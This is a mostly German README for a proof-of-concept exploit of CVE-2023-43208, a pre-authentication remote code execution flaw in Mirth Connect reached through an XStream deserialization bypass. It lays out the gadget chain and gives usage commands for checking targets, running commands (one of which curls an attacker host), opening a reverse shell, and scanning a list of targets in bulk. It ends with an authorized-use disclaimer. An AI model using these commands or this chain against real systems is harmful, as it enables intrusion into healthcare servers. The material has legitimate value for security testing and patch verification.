
CVE-2023-43208: Mirth Connect Pre-Auth RCE PoC
Pre-authentifizierte Remote Code Execution in NextGen Healthcare Mirth Connect < 4.4.1 mittels XStream-Deserialisierungs-Bypass.
CVSS 9.8 (Kritisch) — Patch-Umgehung von CVE-2023-37679
Mirth Connect verwendet die Java XStream-Bibliothek, um XML-Nutzdaten auf dem /api/users-Endpunkt ohne Authentifizierung zu deserialisieren. Die ursprüngliche Behebung (CVE-2023-37679) führte eine Denylist gefährlicher Klassen ein, die jedoch mittels EventBindingInvocationHandler von Apache Commons Lang3 in Kombination mit der InvokerTransformer-Kette von Commons Collections4 umgangen wurde.
Behoben in Mirth Connect 4.4.1 durch Umstellung von Denylist auf Allowlist.
pip install requests
Python 3.10+ (verwendet match-Anweisungen).
python3 exploit.py check -t https://target:8443
python3 exploit.py exec -t https://target:8443 -c "id"
python3 exploit.py exec -t https://target:8443 -c "curl http://attacker/pwned"
# Terminal 1 (or let the script handle the listener):
python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
# For better shell experience, use rlwrap:
rlwrap python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
python3 exploit.py scan -f targets.txt -o vulnerable.txt -T 30
POST /api/users (no auth)
│
▼
XStream deserializes XML payload
│
▼
sorted-set triggers Comparable.compareTo()
│
▼
dynamic-proxy → EventBindingInvocationHandler (bypasses denylist)
│
▼
ChainedTransformer.transform()
│
▼
ConstantTransformer(Runtime.class)
→ InvokerTransformer("getRuntime")
→ InvokerTransformer("invoke")
→ InvokerTransformer("exec", <command>)
│
▼
OS command execution as Mirth Connect service user
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Holen Sie stets die entsprechende Genehmigung ein, bevor Sie Tests durchführen.